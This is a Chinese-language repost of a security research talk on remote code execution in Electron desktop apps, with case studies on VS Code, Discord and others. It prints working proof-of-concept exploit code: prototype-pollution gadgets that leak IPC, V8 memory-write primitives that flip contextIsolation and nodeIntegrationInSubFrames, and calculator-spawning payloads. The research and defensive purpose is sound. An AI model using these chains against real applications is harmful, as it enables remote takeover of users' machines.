← 返回列表

ElectroVolt:攻破热门桌面应用,同时揭示 Electron 上的新攻击面

单站 securitainment 发布 Wed, 14 Oct 2026 15:05:00 +0800 入库 2026-11-18T16:54:03

Aaditya Purani 2026-10-14 15:05 中国香港

Electron 应用即便正确配置了全部安全标志,仍可被远程代码执行。

"My other computer is your computer."(我另一台电脑就是你的电脑)

Mohan Sri Rama Krishna Pedhapati,aka s1r1us

Electron 应用
├── Node 共享库
├── IPC 模块
├── 无沙箱渲染进程(NoSandboxRenderer)
├── 沙箱渲染进程(SandboxRenderer)
├── NodeModules/
└── 操作系统交互
主进程(Main Process)      → ipcMain
渲染进程(Renderer Process)→ DOM API、Node.js API、ipcRenderer
// 主进程(main.js)
const { ipcMain, shell, BrowserWindow } = require('electron')
var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    preload: './preload.js',
    contextIsolation: true
  }
})
win.loadURL('//google.com')
ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
});

webPreferences是什么?```
webPreferences: {
  sandbox: false,
  nodeIntegration: true,
  preload: './preload.js',
  contextIsolation: true
}

new BrowserWindow({
  webPreferences: {
    sandbox: true / false,
    nodeIntegration: true,
    contextIsolation: false,
    preload: './1.js'
  }
})

// ./preload.js
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electron', {
  openUrl: (url) => ipcRenderer.send('openUrl', url)
})
// 主进程(main.js)
const { ipcMain, shell, BrowserWindow } = require('electron')
var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    preload: './preload.js',
    contextIsolation: true
  }
})
win.loadURL('//google.com')
ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
});
// 网页中(此处没有 Electron 模块 ipc)
//
//   window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
//

// 沙箱渲染进程
new BrowserWindow({
  webPreferences: { sandbox: true, nodeIntegration: true, contextIsolation: false }
}).loadURL('//example.com')
// 无沙箱渲染进程
new BrowserWindow({
  webPreferences: { sandbox: false, nodeIntegration: true, contextIsolation: false }
}).loadURL('//example.com')

**当 XSS == RCE**:攻击面所在之处。

- **Node Integration** => **NI**
- **Context Isolation** => **CIso**
- **Node Integration in Workers** => **NIW**
- **Node Integration in Subframes** => **NISF**(会暴露 preload)
- **Sandbox** => **SBX**

- 容易拿到 shell,因为 Node 直接暴露给渲染进程
- 只需找到办法把你的 JavaScript 嵌进去

// 无沙箱渲染进程
new BrowserWindow({
  webPreferences: { sandbox: 0, nodeIntegration: 1, contextIsolation: 0 }
}).loadURL('//example.com')

- 绕过了「Trust Codebase」勾选框,**即使打开不可信代码库也能实现 RCE**
- 攻击链:受限 Markdown XSS → RCE

"你是否信任此文件夹中文件的作者?Code-Insiders 提供的功能可能会自动执行此文件夹中的文件。如果你不信任这些文件的作者,我们建议继续使用受限模式,因为这些文件可能含有恶意内容。"

**公告**:[https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)

vscode-file / vscode-webview
├── nodeIntegration: true
├── Markdown 预览器 + pwn.md
├── 严格 CSP
├── 泄露 vs-code-webview 的 ext id
└── top.require('child_process')

流程:`test.html`→ 攻击者控制的 `/pwn.php`→ 通过 iframing 向 vscode-webview 发出 postMessage XSS → 重定向到本地 file 通道(`channel:content`, `arg:XSS payload`)→ `channel:doread`泄露用户目录位置。

- 若启用了 CIso,Node 不会直接暴露在渲染进程中
- **两条利用路径** :
- 可以使用渲染器漏洞利用(因为没有沙箱)
- 设法**禁用 Context Isolation**(后续幻灯片详述)

1. 当时使用 Electron/12.14.1、Chrome/83.0.4103.122
2. 某个视频嵌入中存在 XSS,但 Electron 中 iframe 是沙箱化的
3. 滥用 Discord 的 **new-window 处理程序错误配置**,在一个**未启用沙箱**的新 Electron 窗口中打开 [https://example.com/exp.html](https://example.com/exp.html)
4. 运行 Chrome V8 渲染器漏洞利用(**CVE-2021-21220**)获得 RCE

- 渲染进程启用了沙箱(seccomp、win32k lockdown)
- 渲染进程中**不暴露任何 Node 模块**
- 你加载的网站与 preload/Electron 内部代码之间**没有隔离**

**Electron \< 10**

- 使用原型污染(prototype pollution)gadget 泄露 remote/IPC 模块
- 使用 Remote 模块获得 Node 访问权

**Electron 10 \< 版本 \< 14**

- 使用原型污染 gadget 泄露 remote/IPC 模块
- 前提是 Remote 模块被显式启用
- IPC 错误配置

**Electron > 14**

- 使用原型污染 gadget 泄露 IPC 模块
- Remote 已废弃
- 只剩下主进程上的 IPC 错误配置

const origEndsWith = String.prototype.endsWith; String.prototype.endsWith = function(...args) {   if (args && args[0] === "/electron") {     String.prototype.endsWith = origEndsWith;     return true;   }   return origEndsWith.apply(this, args); } const origCallMethod = Function.prototype.call; Function.prototype.call = function(...args) {   if (args[3] && args[3].name === "__webpack_require__") {     window.__webpack_require__ = args[3];   }   Function.prototype.call = origCallMethod;   return origCallMethod.apply(this, args); }

// sandbox: true, nodeIntegration: false, contextIsolation: false
ipc = webpack_require3.ipcRendererInternal;
a = webpack_require3._linkedBinding('electron_renderer_ipc')

→ 泄露 **IPC Renderer Internal**(即 `ELECTRON_*`、`GUEST_*`等通道)以及 IPC Renderer(开发者自定义通道)。

**沙箱渲染进程可以通过原生 Image API 获取任意文件的缩略图。**

await ipc.invoke(
  'ELECTRON_NATIVE_IMAGE_CREATE_THUMBNAIL_FROM_PATH',
  '/Users/electro/Documents/research/filename.ext',
  { height: 10, width: 10 }
)

- Windows:`IThumbnailCache::GetThumbnail`
- macOS:`QLThumbnailCopyImage`

参考:[https://github.com/electron/electron/security/advisories/GHSA-mpim-v997-c4h4(致谢](https://github.com/electron/electron/security/advisories/GHSA-mpim-v997-c4h4(致谢) nornagon)

1. 使用 Electron \< 15
2. 利用 CKEditor 的 0day(**CVE-2021-44165**)在渲染进程中实现 XSS
3. 在新窗口上,**CIso 被禁用而沙箱被启用**
4. 使用原型污染 gadget 通过 XSS 泄露 IPC
5. 向浏览器进程发送 IPC,读取给定路径的文件(**CVE-2021-39184**)

- **大多数应用使用的配置**
- 渲染进程中不暴露 Node 模块
- **启用 CI 后,IPC 无法通过原型污染泄露**
- 已沙箱化

**不!**

`nodeIntegrationInSubFrames`
`nodeIntegrationInSubFrames`——一个实验性选项,用于在 iframe 和子窗口等**子框架**中启用 Node.js 或 preload 支持。

对每个子框架:

- 若 NI 启用且沙箱禁用,则 **preload 与 Node.js 都可用**
- 若 NI 禁用(无论沙箱启用或禁用),则**你所有的 preload 都会加载**

`nodeIntegrationInSubFrames: false````
主窗口中的 iframe(//pwn.af)——抛出错误
<iframe src='//pwn.af'></iframe>
<script>
  window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>

nodeIntegrationInSubFrames: true``主窗口中的 iframe(//pwn.af)——生效!
- 大多数时候我们在子框架或 iframe 中获得 XSS
- 而 nodeIntegrationInSubFrames大多是禁用的
- 因此无法访问 contextBridge 暴露的 API

Electron 给 Blink 打了补丁,在 WebPreferences中加入了 node_integration_sub_frames、context_isolation等设置:

// third_party/blink/common/web_preferences/web_preferences.cc
@@ -145,6 +145,22 @@ WebPreferences::WebPreferences()
     fake_no_alloc_direct_call_for_testing_enabled(false),
     v8_cache_options(blink::mojom::V8CacheOptions::kDefault),
     record_whole_document(false),
+    // Begin Electron-specific WebPreferences.
     opener_id(0),
     context_isolation(false),
     is_webview(false),
     hidden_page(false),
     offscreen(false),
+    node_integration_sub_frames,
     preload(base::FilePath::StringType()),
     native_window_open(false),
     node_integration(false),
     node_integration_in_worker(false),
     node_integration_in_sub_frames(false),
     enable_plugins(false),
     enable_websql(false),
     webview_tag(false),
+    // End Electron-specific WebPreferences.
     cookie_enabled(true),
// shell/renderer/electron_sandboxed_renderer_client.cc
void ElectronSandboxedRendererClient::DidCreateScriptContext(
    v8::Handle<v8::Context> context,
    content::RenderFrame* render_frame) {
  // Only allow preload for the main frame or
  // For devtools we still want to run the preload_bundle script
  // Or when nodeSupport is explicitly enabled in sub frames
  bool is_main_frame = render_frame->IsMainFrame();
  bool is_devtools =
      IsDevTools(render_frame) || IsDevToolsExtension(render_frame);
  bool allow_node_in_sub_frames =
      render_frame->GetBlinkPreferences().node_integration_in_sub_frames;
  bool should_load_preload =
      (is_main_frame || is_devtools || allow_node_in_sub_frames) &&
      !IsWebviewFrame(context, render_frame);
  if (!should_load_preload)
    return;
  // ...removed for brevity...
}

细心的读者会注意到:这个检查发生在渲染进程上。

参考:https://github.com/electron/electron/blob/bd10b19b0cdc46cdbadb570af89305e64541b679/shell/renderer/electron_sandboxed_renderer_client.cc[#L217]

// 若 WebPreferences 为 true,则暴露 preload contextBridge API
var win = addrof(window);
console.log("[+] window addrof :" + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window:" + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2:" + addr2.hex());
var web_pref = addr2 + 0x50008n;      // WebPreferences 偏移
console.log("[+] web_pref addr:" + web_pref.hex());
var nisf = web_pref + 0x1acn;         // node_integration_in_sub_frames 偏移
var nisf_val = full_read(nisf);
console.log("[+] nisf val =" + nisf_val.hex());
var overwrite = nisf_val | 0x0000000000000001n;   // 从 0 设为 1
full_write(nisf, overwrite);
var nisf_val = full_read(nisf);
console.log("[+] nisf val overwritten =" + nisf_val.hex());
// 渲染进程            // 主进程(main.js)
// nodeIntegrationInSubFrames: false, SBX: true, NI: false, CIso: true
const { ipcMain, shell } = require('electron')
ipcMain.on('userDownloadopen', function(evt, path) {
  shell.openPath(path);
});
// preload.js(隔离世界/上下文)
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld("electron", {
  send(channel: string, ...args: any[]): void {
    if (!CHANNELS.includes(channel)) {
      console.error(`Unknown IPC channel ${channel} ignored`); return;
    }
    ipcRenderer.send(channel, ...args);
  }
});
阶段 1:NISF 从 0 变 1
主窗口 --v8Exploit--> Preload.js / Main.js
阶段 2:创建 Iframe
主窗口 --我们的 iframe 中的 XSS--> Preload.js(userDownloadOpen)→ Main.js
目标:传入 file://Calc.app
(RCE 汇聚点:window.electron.send → send(channel, args..))
// 创建带 srcdoc 的 iframe,其中含有 contextBridge API
var win = addrof(window);
console.log("[+] window addrof :" + win.hex());
var addr1 = half_read(win + 0x18n);
var addr2 = full_read(addr1 + 0xf8n);
var web_pref = addr2 + 0x50008n;   // WebPreferences 偏移
console.log("[+] web_pref addr:" + web_pref.hex());
var nisf = web_pref + 0x1acn;      // node_integration_in_subframes 偏移
var nisf_val = full_read(nisf);
console.log("[+] nisf val =" + nisf_val.hex());
var overwrite = nisf_val | 0x0000000000000001n;   // 从 0 设为 1
full_write(nisf, overwrite);
var frame = document.createElement("iframe")
frame.srcdoc = `<script>electron.send('userDownloadopen',
  {path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>`
document.body.appendChild(frame)
// shell/renderer/electron_render_frame_observer.cc
void ElectronRenderFrameObserver::DidInstallConditionalFeatures(
    v8::Handle<v8::Context> context,
    int world_id) {
  // ...removed for brevity.
  auto prefs = render_frame_->GetBlinkPreferences();
  bool use_context_isolation = prefs.context_isolation;
  bool is_main_world = IsMainWorld(world_id);
  bool is_main_frame = render_frame_->IsMainFrame();
  bool allow_node_in_sub_frames = prefs.node_integration_in_sub_frames;
  bool should_create_isolated_context =
      use_context_isolation && is_main_world &&
      // ...
  if (should_create_isolated_context) {
    CreateIsolatedWorldContext();
    if (!renderer_client_->IsWebViewFrame(context, render_frame_))
      renderer_client_->SetupMainWorldOverrides(context, render_frame_);
  }
}

同样的套路:使用 Chrome V8 渲染器漏洞利用,我们就能把 context_isolation设为 0。

参考:https://github.com/electron/electron/blob/35ac7fb8e61be744206918684a6881d460591620/shell/renderer/electron_render_frame_observer.cc[#L133]

var win = addrof(window);
console.log("[+] win address : " + win.hex());
var addr1 = half_read(win + 0x18n);
var addr2 = full_read(addr1 + 0xf8n);
var web_pref = addr2 + 0x50008n;
console.log("[+] web_pref addr:" + web_pref.hex());
var ciso = web_pref + 0x184n;      // ci50 偏移
var ciso_val = full_read(ciso);
console.log("[+] ciso val = " + ciso_val.hex());
var overwrite = ciso_val & (0xfffffffffffffff0n);   // 覆写为 0
full_write(ciso, overwrite);
console.log("[+] ciso val overwritten =" + ciso_val.hex());
// 渲染进程
// nodeIntegrationInSubFrames: false, SBX: true, NI: false, CIso: true
// 主进程(main.js)
const { contextBridge, ipcRenderer } = require('electron')
ipcMain.on('open_external', (event, url) => {
  if (!isAllowedUrl(url))
    return;
  shell.openExternal(url);
});
// preload.js(隔离世界/上下文)
const openExternalurl = url => {
  // 净化:仅允许 https://
  ipcRenderer.send('open_external', url);
};
contextBridge.exposeInMainWorld('electron', {
  openExternalurl: url => { openExternalurl(url); }
});
目标:传入 file://Calc.app
URL 校验只允许 https 协议 → NISF 0 变 1
阶段 1:CI 从 1 变 0
主窗口 --V8 漏洞利用 + 重定向--> Preload.js / Main.js
阶段 2:原型污染漏洞利用,泄露 IPC
<!-- index.html -->
<html><b>在 leak 中弹出计算器</b><script>
// leak.html 的原型污染 gadget,用于泄露 ipc
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
  if (args && args[0] === "/electron")
    return true;
  return origEndsWith.apply(this, args);
}
const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === "__webpack_require__") {
    window.pwn = args;
  }
  return origCallMethod.apply(this, args);
}
var win = addrof(window);
console.log("[+] window addrof:" + win.hex());
var addr1 = half_read(win + 0x18n);
var addr2 = full_read(addr1 + 0xf8n);
var web_pref = addr2 + 0x50008n;
var ciso = web_pref + 0x184n;    // ciso 偏移
var ciso_val = full_read(ciso);
console.log("[+] ciso val =" + ciso_val.hex());
var overwrite = ciso_val & (0xfffffffffffffff0n);   // 覆写为 0
full_write(ciso, overwrite);
var ipc = pwn[3]('./lib/renderer/api/ipc-renderer.ts').default;
ipc.send('open_external', 'file:///System/Applications/Calculator.app')
location = '/leak.html'
</script></html>

在老版本 Electron 中,Context Isolation 的实现方式不同——它不使用 WebPreferences,而是存储在 renderer client 上:

// shell/renderer/electron_render_frame_observer.cc
void ElectronRenderFrameObserver::DidInstallConditionalFeatures(
    v8::Handle<v8::Context> context,
    int world_id) {
  bool use_context_isolation = renderer_client_->isolated_world();
  bool is_main_frame = render_frame_->IsMainFrame();
  bool allow_node_in_sub_frames = prefs.node_integration_in_sub_frames;
  bool should_create_isolated_context =
      use_context_isolation && is_main_world &&
      // ...
  if (should_create_isolated_context) {
    CreateIsolatedWorldContext();
    if (!renderer_client_->IsWebViewFrame(context, render_frame_))
      renderer_client_->SetupMainWorldOverrides(context, render_frame_);
  }
}

原型污染 gadget 只在当前窗口是主框架(顶层窗口)时才有效。

// third_party/blink/renderer/core/frame/frame.h
bool IsMainFrame() const;

我们可以通过把 IsMainFrame覆写为 1,让自己成为顶层窗口。

var window_addr = addrof(window);
var window_struct = half_aar64(window_addr + 0x18n);
var frame = full_aar64(window_struct + 0x48n);
var webframe = frame - 0xa8n;
var render_frame = full_aar64(webframe) - 0xb8n;
// 覆写 IsMainFrame = 1
full_aaw64(render_frame + 0xd8n, 0x1n);
var electron_observer = full_aar64(observer_ + 0x10n);
var routing_id = full_aar64(electron_observer + 0x18n);
console.log("[+] routing id =" + routing_id.hex());
var render_client = full_aar64(electron_observer + 0x28n);
console.log("[+] render_client =" + render_client.hex());
var ciso = full_aar64(render_client + 0x48n);
// 覆写 ciso = 0
full_aaw64(render_client + 0x48n, 0x0n);
console.log("[+] ciso after =" + ciso.hex());
console.log("[+] going to leak")
location = './leak.html?as=as';
// leak.html
function calc() {
  a = pwn[3]('./lib/renderer/api/remote.ts');
  a.process.binding('spawn_sync').spawn({
    file: "open",
    args: ["open", "/System/Applications/Calculator.app"]
  });
}
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
  if (args && args[0] === "/electron")
    return true;
  return origEndsWith.apply(this, args);
}
const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args.length == 4) {
    window.pwn = args;
    console.log("found webpack require")
    setTimeout(calc, 100);
  }
  return origCallMethod.apply(this, args);
}

Electron 应用

进程 1:
  嵌入:
    1. 
    2. 

https://main.example.comhttps://youtube.comhttps://sandbox.example.com进程 2: 窗口:   document_.url_ = main.example.com   security_context_.security_origin_.port = 443
https://youtube.comhttps://sandbox.example.com
- 应用更新不及时,使它们中的大多数都易受这些攻击影响
- Chromium 的沙箱逃逸同样可以被利用

我们总共在 20 个不同的 Electron 应用上实现了 RCE。

例如:JupyterLab、Mattermost、Rocket.Chat、Notion、Basecamp——本次演讲覆盖的只是其中少数几个。

想深入了解我们的发现、并保护你的 Electron 应用?

> 免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

原文链接:https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247497227&idx=1&sn=3b171a5db82aebcaee3ab9c778dcb2fc